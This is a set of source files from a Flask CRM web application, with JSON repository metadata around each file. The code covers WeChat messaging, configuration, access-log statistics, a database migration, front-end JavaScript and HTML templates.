wechat_user_info_id=wui.id,\n push_type=\"template\",\n push_info=json_params\n )\n\n if res_json:\n if res_json.get(\"errcode\", 0) != 0:\n wpm.push_flag = \"push_fail\"\n wpm.remark = res_json.get(\"errcode\") + \" [\" + res_json.get(\"errmsg\", \"\") + \"]\"\n else:\n wpm.push_flag = \"init\"\n wpm.wechat_msg_id = res_json.get(\"msgid\", \"\")\n else:\n wpm.push_flag = \"push_fail\"\n wpm.remark = \"请求返回异常\"\n\n wpm.save()\n\n # 获取所有客服基本信息\n @classmethod\n def get_kf_list(cls, is_test=TEST_MODE):\n url = \"https://api.weixin.qq.com/cgi-bin/customservice/getkflist?access_token=%s\" % (\n WechatAccessToken.get_token_by_type(\"access_token\", is_test))\n\n response = requests.get(url)\n if response.status_code != 200:\n return \"get failure\"\n\n res_json = response.json()\n\n if res_json.get(\"errcode\", 0) != 0:\n raise ValueError(\"get failure :\" + res_json.get(\"errmsg\", \"unknown errmsg\"))\n # print(\"kf list: \", res_json)\n for kf_hash in res_json['kf_list']:\n print(\"客服帐号[%s]:微信号[%s],昵称[%s]\" % (kf_hash['kf_account'], kf_hash['kf_wx'], kf_hash['kf_nick']))\n\n # 获取客服信息--是否在线,接待人数\n @classmethod\n def get_kf_list_online(cls, is_test=TEST_MODE):\n url = \"https://api.weixin.qq.com/cgi-bin/customservice/getonlinekflist?access_token=%s\" % (\n WechatAccessToken.get_token_by_type(\"access_token\", is_test))\n\n response = requests.get(url)\n if response.status_code != 200:\n return \"get failure\"\n\n res_json = response.json()\n\n if res_json.get(\"errcode\", 0) != 0:\n raise ValueError(\"get failure :\" + res_json.get(\"errmsg\", \"unknown errmsg\"))\n # print(\"kf list: \", res_json)\n for kf_hash in res_json['kf_online_list']:\n if kf_hash['status'] == 1:\n status = \"在线\"\n else:\n status = \"离线\"\n print(\"客服帐号[%s]:是否在线[%s],正接待会话数[%d]\" % (kf_hash['kf_account'], status, kf_hash['accepted_case']))\n" }, { "alpha_fraction": 0.6317934989929199, "alphanum_fraction": 0.6963315010070801, "avg_line_length": 34.0476188659668, "blob_id": "769a5fd6465c7e1479a5d2072e61f46fb9c3bcd4", "content_id": "d23857954c77c66f7a4e94e2689d3387512ac0b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1472, "license_type": "no_license", "max_line_length": 104, "num_lines": 42, "path": "/application/config.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport os\n\n\nclass Configuration(object):\n SECRET_KEY = os.getenv('SECRET_KEY') or 'seesun'\n APPLICATION_DIR = os.path.dirname(os.path.realpath(__file__))\n STATIC_DIR = os.path.join(APPLICATION_DIR, 'static')\n IMAGES_DIR = os.path.join(STATIC_DIR, 'images')\n SQLALCHEMY_TRACK_MODIFICATIONS = True\n MAX_CONTENT_LENGTH = 16 * 1024 * 1024\n ALLOWED_EXTENSIONS = set('jpg JPG png PNG gif GIF pdf PDF cad CAD rar RAR zip ZIP'.split())\n\n\nclass DevelopmentConfiguration(Configuration):\n DEBUG = True\n SQLALCHEMY_DATABASE_URI = 'postgresql://seesun:[email protected]/seesun_crm'\n PRODUCT_SERVER = 'http://localhost:5001'\n WECHAT_TEST_MODE = True\n WECHAT_HOOK_URL = \"http://118.178.185.40\"\n\n\nclass TestConfiguration(Configuration):\n TESTING = True\n SQLALCHEMY_DATABASE_URI = 'postgresql://seesun_db:[email protected]/seesun_crm_services_test_db'\n PRODUCT_SERVER = 'http://118.178.185.40:5000'\n WECHAT_TEST_MODE = True\n WECHAT_HOOK_URL = 'http://118.178.185.40'\n\n\nclass ProductionConfiguration(Configuration):\n SQLALCHEMY_DATABASE_URI = 'postgresql://seesun_db:[email protected]/seesun_crm_services_db'\n PRODUCT_SERVER = 'http://120.27.233.160:5000'\n WECHAT_TEST_MODE = False\n WECHAT_HOOK_URL = 'http://crm.seesun-pvcfloor.com'\n\nconfig = {\n 'default': DevelopmentConfiguration,\n 'development': DevelopmentConfiguration,\n 'test': TestConfiguration,\n 'production': ProductionConfiguration\n}\n" }, { "alpha_fraction": 0.6394152641296387, "alphanum_fraction": 0.6437466144561768, "avg_line_length": 51.75238037109375, "blob_id": "0076badd9ba55473c97f3d8bb71ed9241b81a8d1", "content_id": "96010f0f20a973366300974e64bc794bc63efc74", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5541, "license_type": "no_license", "max_line_length": 115, "num_lines": 105, "path": "/application/web_access_log/views.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "from flask import Blueprint, flash, redirect, render_template, request, url_for\nfrom .models import *\nfrom ..helpers import object_list\n\nweb_access_log = Blueprint('web_access_log', __name__, template_folder='templates')\n\n\n@web_access_log.route('/index/')\ndef index():\n query = WebAccessLog.query\n query = filter_by_request_args(query)\n logs = query.order_by(WebAccessLog.created_at.desc())\n return object_list('web_access_log/index.html', logs, paginate_by=100,\n platform_list=platform_list, browser_list=browser_list)\n\n\n@web_access_log.route('/statistics')\ndef statistics():\n module_count_list = []\n for i in range(1, 13):\n query = access_query(i)\n query = filter_by_request_args(query)\n module_count_list.append(query.count())\n platform_count_list = []\n for platform in platform_list:\n query = WebAccessLog.query\n query = filter_by_request_args(query)\n platform_count_list.append([platform, query.filter(WebAccessLog.platform == platform).count()])\n browser_count_list = []\n for browser in browser_list:\n query = WebAccessLog.query\n query = filter_by_request_args(query)\n browser_count_list.append([browser, query.filter(WebAccessLog.browser == browser).count()])\n return render_template('web_access_log/statistics.html', module_count_list=module_count_list,\n platform_count_list=platform_count_list, browser_count_list=browser_count_list)\n\n\ndef access_query(module_no=None):\n if module_no in range(1, 13):\n if module_no == 1:\n return WebAccessLog.query.filter(\n WebAccessLog.request_path.ilike('/mobile/product') |\n WebAccessLog.request_path.ilike('/mobile/product/%'))\n elif module_no == 2:\n return WebAccessLog.query.filter(\n WebAccessLog.request_path.ilike('/mobile/storage') |\n WebAccessLog.request_path.ilike('/mobile/storage_show/%'))\n elif module_no == 3:\n return WebAccessLog.query.filter(\n WebAccessLog.request_path.ilike('/mobile/share') |\n WebAccessLog.request_path.ilike('/mobile/share_index/%') |\n WebAccessLog.request_path.ilike('/mobile/share_index_for_order/%') |\n WebAccessLog.request_path.ilike('/mobile/share_storage_for_detail') |\n WebAccessLog.request_path.ilike('/mobile/share_storage_for_region') |\n WebAccessLog.request_path.ilike('/mobile/upload_share_index') |\n WebAccessLog.request_path.ilike('/mobile/new_share_inventory/%'))\n elif module_no == 4:\n return WebAccessLog.query.filter(\n WebAccessLog.request_path.ilike('/mobile/case_show') |\n WebAccessLog.request_path.ilike('/mobile/product_cases') |\n WebAccessLog.request_path.ilike('/mobile/product_case/%') |\n WebAccessLog.request_path.ilike('/mobile/case_classification/%') |\n WebAccessLog.request_path.ilike('/mobile/case_content/%'))\n elif module_no == 5:\n return WebAccessLog.query.filter(WebAccessLog.request_path.startswith('/mobile/project_report'))\n elif module_no == 6:\n return WebAccessLog.query.filter(WebAccessLog.request_path.startswith('/mobile/design'))\n elif module_no == 7:\n return WebAccessLog.query.filter(WebAccessLog.request_path.startswith('/mobile/material'))\n elif module_no == 8:\n return WebAccessLog.query.filter(\n WebAccessLog.request_path.ilike('/mobile/cart') |\n WebAccessLog.request_path.ilike('/mobile/cart_delete/%') |\n WebAccessLog.request_path.ilike('/mobile/create_order') |\n WebAccessLog.request_path.ilike('/mobile/orders') |\n WebAccessLog.request_path.ilike('/mobile/created_orders') |\n WebAccessLog.request_path.ilike('/mobile/contract/%'))\n elif module_no == 9:\n return WebAccessLog.query.filter(WebAccessLog.request_path.startswith('/mobile/tracking'))\n elif module_no == 10:\n return WebAccessLog.query.filter(\n WebAccessLog.request_path.startswith('/wechat/') |\n WebAccessLog.request_path.ilike('/mobile/verification/%'))\n elif module_no == 11:\n return WebAccessLog.query.filter(WebAccessLog.request_path.startswith('/mobile/construction_guide'))\n elif module_no == 12:\n return WebAccessLog.query.filter(WebAccessLog.request_path.startswith('/mobile/after_service'))\n return WebAccessLog.query\n\n\ndef filter_by_request_args(query):\n if request.args.get('platform'):\n query = query.filter(WebAccessLog.platform == request.args.get('platform'))\n if request.args.get('browser'):\n query = query.filter(WebAccessLog.browser == request.args.get('browser'))\n if request.args.get('created_at_gt'):\n query = query.filter(WebAccessLog.created_at >= request.args.get('created_at_gt'))\n if request.args.get('created_at_lt'):\n query = query.filter(WebAccessLog.created_at <= request.args.get('created_at_lt'))\n return query\n\nplatform_list = sorted('aix amiga android bsd chromeos hpux iphone ipad irix linux macos sco solaris wii'\n ' windows'.split())\nbrowser_list = sorted('aol ask camino chrome firefox galeon google kmeleon konqueror links lynx msie msn netscape '\n 'opera safari seamonkey webkit yahoo'.split())\n\n\n" }, { "alpha_fraction": 0.6394051909446716, "alphanum_fraction": 0.6641883254051208, "avg_line_length": 25.899999618530273, "blob_id": "3ee448f7a9b284e7e5fd7d52a53292997d6da5d4", "content_id": "d67d47c4db995ba055e909118a15d2758fbb0e72", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 807, "license_type": "no_license", "max_line_length": 87, "num_lines": 30, "path": "/migrations/versions/0ad45412bffd_add_category_id_to_content.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"add category id to content\n\nRevision ID: 0ad45412bffd\nRevises: 8c795821d12d\nCreate Date: 2017-02-22 10:04:59.049118\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '0ad45412bffd'\ndown_revision = '8c795821d12d'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('content', sa.Column('category_id', sa.Integer(), nullable=True))\n op.create_foreign_key(None, 'content', 'content_category', ['category_id'], ['id'])\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(None, 'content', type_='foreignkey')\n op.drop_column('content', 'category_id')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.56260085105896, "alphanum_fraction": 0.5736684203147888, "avg_line_length": 23.35087776184082, "blob_id": "8b3141d20175d23c84eb7b14f61b27cb1d372fbd", "content_id": "ff1713bd79b80a9b1b742137d376d0e13f0b1b81", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 4381, "license_type": "permissive", "max_line_length": 98, "num_lines": 171, "path": "/application/static/javascripts/mobile_general.js", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "function test(){\r\n\tconsole.log(\"it is all ok\");\r\n}\r\n//menu固定\r\n$(function(){\r\n\tif($(\".nav-tab\").length>0){\r\n\t\tvar key;\r\n\t\t$(window).bind(\"scroll\", function(){\r\n\t\t\t\tvar dis = document.documentElement.scrollTop || window.pageYOffset || document.body.scrollTop;\r\n\t\t\t\tif(dis>60&&key!=1) {\r\n\t\t\t\t\t\t$(\".nav-tab\").addClass(\"fixed-menu\");\r\n\t\t\t\t\t\t$(\".header\").addClass(\"fixed-margin\");\r\n\t\t\t\t\t\tkey=1;\r\n\t\t\t\t}else if(dis<=60){\r\n\t\t\t\t\t\t$(\".nav-tab\").removeClass(\"fixed-menu\");\r\n\t\t\t\t\t\t$(\".header\").removeClass(\"fixed-margin\");\r\n\t\t\t\t\t\tkey=0;\r\n\t\t\t\t}\r\n\t\t})\t\t\t\r\n\t}\r\n\t\r\n\tif($(\".navbar\").length>0){\r\n\t\tvar key;\r\n\t\t$(window).bind(\"scroll\", function(){\r\n\t\t\t\tvar dis = document.documentElement.scrollTop || window.pageYOffset || document.body.scrollTop;\r\n\t\t\t\tif(dis>60&&key!=1) {\r\n\t\t\t\t\t\t$(\".navbar\").addClass(\"fixed-menu\");\r\n\t\t\t\t\t\t$(\".header\").addClass(\"fixed-margin-2\");\r\n\t\t\t\t\t\tkey=1;\r\n\t\t\t\t}else if(dis<=60){\r\n\t\t\t\t\t\t$(\".navbar\").removeClass(\"fixed-menu\");\r\n\t\t\t\t\t\t$(\".header\").removeClass(\"fixed-margin-2\");\r\n\t\t\t\t\t\tkey=0;\r\n\t\t\t\t}\r\n\t\t})\t\t\t\r\n\t}\r\n})\r\n//menu移动 -- not used anymore\r\n$(function(){\r\n\t$(\"#to_sport\").click(function(){\r\n\t\t$(\"html,body\").animate({scrollTop:$(\"#sport\").offset().top-50},300)\r\n\t});\r\n\t$(\"#to_business\").click(function(){\r\n\t\t$(\"html,body\").animate({scrollTop:$(\"#business\").offset().top-80},300)\r\n\t});\r\n\t$(\"#to_customer\").click(function(){\r\n\t\t$(\"html,body\").animate({scrollTop:$(\"#customer\").offset().top-80},300)\r\n\t});\r\n})\r\n//myCarousel\r\n$(function(){\r\n\t$('#myCarousel').carousel('pause')\r\n\t$(\"#myCarousel\").swipe( {\r\n\t\t//Single swipe handler for left swipes\r\n\t\tswipeLeft:function(event, direction, distance, duration, fingerCount) {\r\n\t\t\t$(this).carousel(\"next\");\r\n\t\t},\r\n\t\tswipeRight:function(event, direction, distance, duration, fingerCount) {\r\n\t\t\t$(this).carousel(\"prev\");\r\n\t\t},\r\n\t\t//Default is 75px, set to 0 for demo so any distance triggers swipe\r\n\t\tthreshold:0\r\n\t});\r\n})\r\n\r\n//modal touch hidden\r\n$(function(){\t\r\n\tvar stop=function(){\r\n\t\te=window.event;\r\n\t\te.preventDefault();\r\n e.stopPropagation();\r\n\t};\r\n\t$('.modal').on('show.bs.modal', function () {\r\n\t\t$(\"body\").on(\"touchmove\",stop);\r\n\t})\r\n\t$('.modal').on('hide.bs.modal', function () {\r\n\t\t$(\"body\").off(\"touchmove\",stop);\r\n\t})\r\n})\r\n\r\n//stepper\r\n$(function(){\r\n\t$(\".add-btn\").on(\"touchstart\",function(){\r\n\t\tvar value=$(this).prev().val();\r\n\t\tvalue++;\r\n\t\t$(this).prev().val(value);\r\n\t})\r\n\t$(\".del-btn\").on(\"touchstart\",function(){\r\n\t\tvar value=$(this).next().val();\r\n\t\tvalue==0?\"\":value--;\r\n\t\t$(this).next().val(value);\r\n\t})\r\n})\r\n\r\n//file\r\nfunction fileText(ele){\r\n\tele.bind(\"change\",function(){\r\n var text=this.value;\r\n var text_array=text.split(\"\\\\\");\r\n var file_name=text_array[text_array.length-1];\r\n $(this).parent().find(\"label\").html(file_name);\r\n var format=file_name.split(\".\")[1];\r\n })\r\n}\r\n$(function(){\r\n //to change the text as the file uploaded\r\n\tfileText($(\".file input\"));\r\n\tpre_pic($(\".file input\"));\r\n})\r\n\r\n//datetimePicker\r\n$(function(){\r\n\t$(\".datetimePicker\").datetimepicker({\r\n\t\ttimepicker:false,\r\n\t\tformat:'Y/m/d'\r\n\t});\r\n})\r\n\r\n//调整ckedit的图片大小\r\n$(function(){\r\n\t$(\".ck-wrapper\").find(\"img\").each(function(index,ele){\r\n\t\tvar max_width=$(\".ck-wrapper>p\").width(); \r\n\t\t$(ele).width()>max_width? $(ele).css(\"max-width\",\"100%\").css(\"height\",\"auto\"):\"\";\r\n\t})\r\n})\r\n\r\n//下拉框\r\n$(function(){\r\n\t$(\".slide-trigger\").click(function(){\r\n\t\t$(this).parent().find(\".slide-panel\").slideToggle();\r\n\t\t$(this).toggleClass(\"border-none\");\r\n\t});\r\n})\r\n\r\n$(function(){\r\n\t$(\".much-more\").click(function(){\r\n\t\t$(this).parent().parent().find(\".over-p\").toggleClass(\"hidden\");\r\n\t})\r\n})\r\n\r\n//预览图片\r\nfunction preview1(file,ele) {\r\n\tvar img = new Image(), url = img.src = URL.createObjectURL(file)\r\n\tvar $img = $(img);\r\n\t$img.addClass(\"full-img\");\r\n\t$img.css(\"height\",\"96px\")\r\n\timg.onload = function() {\r\n\t\t\tURL.revokeObjectURL(url)\r\n\t\t\tele.replaceWith($img);\r\n\t}\r\n}\r\nfunction pre_pic(elem){\r\n\telem.bind(\"change\",function(e){\r\n\t\tvar file = e.target.files[0];\r\n\t\tvar ele=$(this).parent().find(\"img\");\r\n\t\tpreview1(file,ele)\t\r\n\t})\t\r\n}\t\r\n//增加图片\r\n$(function(){\r\n\t$(\".pic-add\").click(function(){\r\n\t\tvar clone=$(\".pic-template\").clone();\r\n\t\tclone.removeClass(\"hidden\").removeClass(\"pic-template\");\r\n\t\tpre_pic(clone.find(\"input\"));\r\n\t\tfileText(clone.find(\"input\"));\r\n\t\tclone.find(\".pic-del\").click(function(){\r\n\t\t\t$(this).parent().remove();\r\n\t\t})\t\r\n\t\t$(this).before(clone);\r\n\t})\t\r\n})\r\n\r\n" }, { "alpha_fraction": 0.5018507242202759, "alphanum_fraction": 0.5058605670928955, "avg_line_length": 36.252872467041016, "blob_id": "0b28052d1f00867491b789220ce84da17d5c56e1", "content_id": "940d9c9deaf419c8de2aed10a4fa011e13edc146", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 3302, "license_type": "no_license", "max_line_length": 135, "num_lines": 87, "path": "/application/templates/web_access_log/index.html", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "{% extends 'pc_base.html' %}\n{% from 'macros/pc_partial.html' import sidebar with context %}\n{% from 'macros/pc_pagination.html' import paginate %}\n{% block main_content %}\n\n{{ sidebar(active = 'statistics') }}\n<div class=\"contents\">\n\t<div class=\"contents-header\">\n\t\t<div class=\"contents-header-img\"><img class=\"full-img\" src=\"/static/images/product.png\" /></div>\n\t\t<p class=\"contents-header-p\">访问详情</p>\n\t\t<p class=\"contents-header-p text-sm\">Details of access</p>\n\t\t<a class=\"new-one\" href=\"{{ url_for('web_access_log.statistics') }}\" title=\"分类统计\"><span class=\"glyphicon glyphicon-stats\"></span></a>\n\t</div>\n\t<div class=\"separator\"><span></span></div>\n <form action=\"{{ url_for('web_access_log.index') }}\" method=\"get\" role=\"form\" class=\"form form-horizontal\" >\n <div class=\"form-style form-default\">\n <div class=\"form-item-2 col-3\">\n <span>操作系统</span>\n <select class=\"form-control\" name=\"platform\">\n <option value=\"\"></option>\n {% for name in platform_list %}\n <option value=\"{{ name }}\">{{ name }}</option>\n {% endfor %}\n </select>\n </div>\n <div class=\"form-item-2 col-3\">\n <span>访问时间从</span>\n <input class=\"form-control datetimePicker\" name=\"created_at_gt\" value=\"{{ request.args.get('created_at_gt') or '' }}\">\n </div>\n <div class=\"form-item-2 col-3\">\n <span>到</span>\n <input class=\"form-control datetimePicker\" name=\"created_at_lt\" value=\"{{ request.args.get('created_at_lt') or '' }}\">\n </div>\n <div class=\"form-item-2 col-3\">\n <span>浏览器</span>\n <select class=\"form-control\" name=\"browser\">\n <option value=\"\"></option>\n {% for name in browser_list %}\n <option value=\"{{ name }}\">{{ name }}</option>\n {% endfor %}\n </select>\n </div>\n <div class=\"clearfix\"></div>\n <div class=\"text-right top-gap-2 right-gap-3\">\n <button class=\"btn btn-default my-btn\">筛选条件</button>\n </div>\n </div>\n </form>\n\t<div class=\"widget\">\n\t\t<div class=\"widget_header\">\n\t\t\t<h4 class=\"widget_header_title\"><span class=\"glyphicon glyphicon-th-large\"></span>&nbsp;&nbsp;&nbsp;点击率统计</h4>\n\t\t</div>\n\t\t<div class=\"widget_contents padding-0\">\n\t\t\t<table class=\"tables\">\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>Request path</th>\n\t\t\t\t\t\t<th>Remote addr</th>\n\t\t\t\t\t\t<th>User ID</th>\n\t\t\t\t\t\t<th>Platform</th>\n <th>Browser</th>\n <th>Version</th>\n <th>Language</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t{% for log in object_list.items %}\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>{{ log.request_path }}</td>\n\t\t\t\t\t\t<td>{{ log.remote_addr }}</td>\n\t\t\t\t\t\t<td>{{ log.user_id }}</td>\n\t\t\t\t\t\t<td>{{ log.platform }}</td>\n\t\t\t\t\t\t<td>{{ log.browser }}</td>\n\t\t\t\t\t\t<td>{{ log.version }}</td>\n\t\t\t\t\t\t<td>{{ log.language }}</td>\n\t\t\t\t\t</tr>\n\t\t\t\t{% endfor %}\n\t\t\t\t</tbody>\n\t\t\t</table>\n\t\t</div>\n\t\t<div style=\"text-align: center;\">\n\t\t\t{{ paginate(object_list) }}\n\t\t</div>\n\t</div>\n</div>\n\n{% endblock %}\n\n" }, { "alpha_fraction": 0.7545520663261414, "alphanum_fraction": 0.7621995806694031, "avg_line_length": 28.212766647338867, "blob_id": "e3515e844cb631f1669cbbe8004885315cc5c0ed", "content_id": "346c28605814896fc72b45398dea3e475deaeecf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2746, "license_type": "no_license", "max_line_length": 80, "num_lines": 94, "path": "/application/__init__.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport os\nfrom flask import Flask, g, render_template, redirect, url_for, request, flash\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_login import LoginManager\nfrom flask_bcrypt import Bcrypt\nfrom .utils import num2moneyformat\n\nfrom .config import config\nfrom flask_cache import Cache\n\nimport logging\n\napp = Flask(__name__)\napp.config.from_object(config[os.getenv('FLASK_ENV') or 'default'])\ndb = SQLAlchemy(app)\n\nlogin_manager = LoginManager()\nlogin_manager.init_app(app)\nlogin_manager.login_view = \"backstage_management.account_login\"\n\nbcrypt = Bcrypt(app)\ncache = Cache(app, config={'CACHE_TYPE': 'simple'})\n\nfrom .content.views import content\n\napp.register_blueprint(content, url_prefix='/content')\nfrom .product.views import product\n\napp.register_blueprint(product, url_prefix='/product')\nfrom .order_manage.views import order_manage\n\napp.register_blueprint(order_manage, url_prefix='/order_manage')\nfrom .inventory.views import inventory\n\napp.register_blueprint(inventory, url_prefix='/inventory')\nfrom .wechat.views import wechat\n\napp.register_blueprint(wechat, url_prefix='/wechat')\nfrom .design_application.views import design_application\n\napp.register_blueprint(design_application, url_prefix='/design_application')\nfrom .project_report.views import project_report\n\napp.register_blueprint(project_report, url_prefix='/project_report')\nfrom .organization.views import organization\n\napp.register_blueprint(organization, url_prefix='/organization')\nfrom .web_access_log.views import web_access_log\n\napp.register_blueprint(web_access_log, url_prefix='/web_access_log')\n\nfrom .backstage_management.views import backstage_management\n\napp.register_blueprint(backstage_management, url_prefix='/backstage_management')\n\nfrom .inventory.api import load_products, load_skus, load_inventories_by_code\n\napp.add_template_global(load_products)\napp.add_template_global(load_skus)\napp.add_template_global(load_inventories_by_code)\napp.add_template_global(len)\napp.add_template_global(int)\napp.add_template_global(str)\napp.add_template_global(num2moneyformat)\n\n\[email protected]_first_request\ndef setup_logging():\n if not app.debug:\n # In production mode, add log handler to sys.stderr.\n app.logger.addHandler(logging.StreamHandler())\n app.logger.setLevel(logging.INFO)\n app.logger.info(\"RUN ENV : [%s]\" % os.getenv('FLASK_ENV'))\n\n\[email protected](404)\ndef page_not_found(error):\n return render_template('404.html'), 404\n\n\[email protected](500)\ndef internal_server_error(error):\n return render_template('500.html'), 500\n\n\[email protected]('/')\ndef root():\n return redirect(url_for('mobile_index'))\n\n\[email protected]('/admin')\ndef admin():\n return redirect(url_for('backstage_management.index'))\n" }, { "alpha_fraction": 0.6025640964508057, "alphanum_fraction": 0.6538461446762085, "avg_line_length": 25, "blob_id": "16cf441b3ca4a6aced32f381764a3a62063c0be9", "content_id": "d52b2789ed91526a3ba9286c14a3c40ffca45853", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 234, "license_type": "no_license", "max_line_length": 50, "num_lines": 9, "path": "/main.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# This is a simple wrapper for running application\n# $ python main.py\n# $ gunicorn -w 4 -b 127.0.0.1:5000 main:app\nfrom application import app\nimport application.views\n\nif __name__ == '__main__':\n app.run()\n" }, { "alpha_fraction": 0.557692289352417, "alphanum_fraction": 0.5600496530532837, "avg_line_length": 26.47349739074707, "blob_id": "6fb8cdc345847b7259c67353d95ffd798e108860", "content_id": "3c43236ead181baf5d5c6fb5457b468ef57af142", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 8280, "license_type": "permissive", "max_line_length": 110, "num_lines": 283, "path": "/application/static/javascripts/pc_general.js", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "$(function(){\r\n\t$(\"body\").niceScroll({cursorwidth: '0',cursorborder: '0'});\r\n\t$(\".my-nav\").niceScroll({cursorwidth: '0',cursorborder: '0'});\r\n\t$('#sidebar').metisMenu();\r\n})\r\n\r\n//预览图片\r\nfunction preview1(file,ele) {\r\n\t\tvar img = new Image(), url = img.src = URL.createObjectURL(file)\r\n\t\tvar $img = $(img);\r\n\t\t$img.addClass(\"full-img\");\r\n\t\timg.onload = function() {\r\n\t\t\t\tURL.revokeObjectURL(url)\r\n\t\t\t\tele.replaceWith($img);\r\n\t\t}\r\n}\r\n//绑定图片\r\nfunction pre_pic(elem){\r\n\telem.bind(\"change\",function(e){\r\n\t\tvar file = e.target.files[0];\r\n\t\tvar ele=$(this).next(\"img\");\r\n\t\tpreview1(file,ele)\t\r\n\t})\t\r\n}\t\r\n\t\r\n$(function(){\r\n\t$(\".file input\").bind(\"change\",function(e){\r\n\t\tvar file = e.target.files[0];\r\n\t\tvar ele=$(this).parent().parent().next(\".pic-upload\").children(\"img\");\r\n\t\tpreview1(file,ele)\t\r\n\t})\r\n\tpre_pic($(\".inbox-file\"))\t\r\n})\r\n\r\n//添加和删除item\r\n$(function(){\r\n\t//names进行重新排列\r\n\tfunction refresh(_names){\r\n\t\tvar names=_names;\r\n\t\tvar items=$(\".item-wrapper\").find(\".form-item\");\r\n\t\titems.each(function(index,ele){\r\n\t\t\tvar inputs=$(ele).find(\"input,select\");\r\n\t\t\tindex==0?index=\"\":\"\";\r\n\t\t\tinputs.each(function(_index,_ele){\r\n\t\t\t\tnames[_index].indexOf(\"[]\")>0?$(_ele).attr(\"name\",names[_index]):$(_ele).attr(\"name\",names[_index]+index);\r\n\t\t\t})\t\t\r\n\t\t});\r\n\t}\r\n\t\r\n\t//增加item\r\n\tfunction add_item(_names){\r\n\t\tvar clone=$(\".item-template\").clone();\r\n\t\tclone.find(\"input\").val(\"\");\r\n\t\tclone.removeClass(\"item-template\")\r\n\t\t\t.find(\".del-item\").removeClass(\"hidden\")\r\n\t\t\t.on(\"click\",function(){\r\n\t\t\t\t$(this).parent().parent().remove();\r\n\t\t\t\trefresh(_names);\r\n\t\t\t});\t\r\n\t\t$(\".item-wrapper\").append(clone);\r\n\t\trefresh(_names);\t\r\n\t}\r\n\t\r\n\t//增加产品目录\r\n\t$(\".new-product-category\").click(function(){\r\n\t\tadd_item([\"names[]\"])\r\n\t})\r\n\t//增加产品属性\r\n\t$(\".new-product-feature\").click(function(){\r\n\t\tadd_item([\"names[]\"])\r\n\t})\r\n\t$(\".new-product-option\").click(function(){\r\n\t\tadd_item([\"names[]\"])\r\n\t})\r\n\t$(\".new-product\").click(function(){\r\n\t\tadd_item([\"name\"])\r\n\t})\r\n\t//库存\r\n\t$(\".new-inventory\").click(function(){\r\n\t\tadd_item([\"uer_id\",\"production_date\",\"valid_until\",\"batch_no\",\"stocks\"])\r\n\t})\r\n})\r\n//去除textarea的htmltag\r\n//function delHtmlTag(str){\r\n// return str.replace(/<[^>]+>/g,\"\");\r\n//}\r\n//$(function(){\r\n//\tvar str=$(\"textarea\").val();\r\n//\t$(\"textarea\").val(delHtmlTag(str));\r\n//})\r\n\r\n//增加图片\r\n$(function(){\r\n\t\t//names进行重新排列\r\n\tfunction refresh(_name){\r\n\t\tvar name=_name;\r\n\t\tvar pics=$(\".pic-wrapper\").find(\"input[type=file]\");\r\n\t\tpics.each(function(index,ele){\r\n\t\t\t$(ele).attr(\"name\",name+index)\t\r\n\t\t});\r\n\t}\r\n\t//增加item\r\n\tfunction add_pic(_name){\r\n\t\tvar clone=$(\".pic-template\").clone();\r\n\t\tclone.find(\"img\").attr(\"src\",\"/static/images/alt.jpg\")\r\n\t\tvar name=clone.removeClass(\"pic-template\").find(\"input[type=file]\").attr(\"name\");\r\n\t\tclone.find(\"input[type=file]\").remove();\r\n\t\tvar new_file=$(\"<input type='file'>\")\r\n\t\tnew_file.attr(\"name\",name)\r\n\t\t\t.attr(\"id\",name)\r\n\t\t\t.addClass(\"inbox-file\");\r\n\t\t\r\n\t\tpre_pic(new_file);\t\t\r\n\t\t\r\n\t\tclone.prepend(new_file);\r\n\t\t$(\".pic-add\").before(clone);\r\n\t\trefresh(_name);\t\r\n\t}\r\n\t$(\".pic-add\").click(function(){\r\n\t\tadd_pic(\"image_file_\");\t\r\n\t});\r\n\r\n\t//organization.user \r\n\t$(\"#select_user_type\").change(function(){\r\n\t\tif ($(this).children('option:selected').val()==3) {\r\n\t\t\t$(this).parent().parent().children('#search_user_dept_ranges').css(\"display\", \"\")\r\n\t\t\t$(this).parent().parent().children('#search_user_sale_range').css(\"display\", \"none\")\r\n\t\t\t$(this).parent().parent().children('#search_user_sale_range_province').css(\"display\", \"none\")\r\n\t\t\t$(this).parent().parent().children('#search_join_dealer').css(\"display\", \"none\")\r\n\r\n\t\t\tdocument.getElementById(\"phone\").setAttribute(\"placeholder\",\"请输入电话\");\r\n\t\t\tdocument.getElementById(\"label_nickname\").innerHTML=\"昵称\";\r\n\t\t\tdocument.getElementById(\"nickname\").setAttribute(\"placeholder\",\"请输入昵称\");\r\n\t\t}\r\n\t\telse 